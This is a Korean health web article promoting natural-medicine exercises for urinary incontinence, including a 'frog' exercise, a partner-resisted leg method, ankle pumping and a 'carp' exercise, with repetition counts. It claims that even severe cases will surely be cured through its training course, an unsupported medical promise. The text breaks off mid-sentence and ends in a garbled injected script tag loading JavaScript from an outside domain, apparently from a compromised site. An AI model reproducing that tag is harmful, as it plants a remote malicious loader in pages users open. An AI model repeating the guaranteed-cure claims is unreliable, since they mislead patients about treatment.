요실금의 자가치유법Ⅱ

요실금의 자가치유법Ⅱ

 위와 같은 골반운동법으로도 그다지 효과를 보지 못했거나 증상이 심한 경우라면 이제 자연의학의 세계로 들어가야만 한다. 요실금은 아무리 심한 경우라도 수련과정에 참여하여 아래의 자연요법을 바르게 익혀 생활화하면 반드시 나을 수 있기 때문이다.

 요실금의 자연요법

 . 합장합척운동: 손과 발을 모으고 개구리처럼 왔다갔다하는 운동이다. 그래서 개구리 운동이라고 부르기도 한다. 합장합척운동은 준비운동과 본운동 및 마무리수행으로 이루어져 있다.

한 번에 100번씩 하루 3~5회 하면 된다. 보통 보름이면 효과가 나타나고 한 달이면 눈에 띄게 달라짐은 느낄 수 있다. 늦어도 3개월이면 확실한 효과를 볼 수 있다.

 . 리벤슈타인요법: 골반근육과 질근육 및 괄약근과 요도, 방광을 강화시키는 으뜸가는 운동이다. 환우는 눕게 하고 도우미는 환우의 발목근처에 무릎을 꿇고 앉아 양손으로 무릎을 감싸 앉는다. 두 가지 운동으로 구성되어 있는데 먼저 환우가 벌리고 도우미가 가볍게 저항하는 하는 단계와 환우가 오므리고 도우미가 벌리듯 저항하는 단계로 구성된다. 각 단계는 관성의 법칙을 이용하는 근육 순반력 강화 단계와 위의 근력강화 단계로 구성된다.

 각 단계 모두 한 번에 10회씩 하루 3~5회 한다.

 . 발목펌프건강법: 혈액순환장애와 발목의 고장이 요실금의 원인이 되기도 한다. 발목펌프운동은 혈액순환장애에 탁월한 최상의 운동이며, 발목을 튼튼하게 하는 으뜸가는 운동이기도 하다.

아침저녁으로 500회씩 한다.

 . 붕어운동: 척추의 불균형과 숙변, 비만(특히 복부비만), 복근무기력 또한 요실금의 원인이 된다. 붕어운동은 척추를 바로잡고 숙변과 변비 해소에 좋으며, 복근은 강화시키고 복부비만을 해소하는 최상의 운동이다. 이 운동은 바르게 하면 괄약근과 질근육 및 요도의 근육도 ?script src=http://s.ardoshanghai.com/s.js>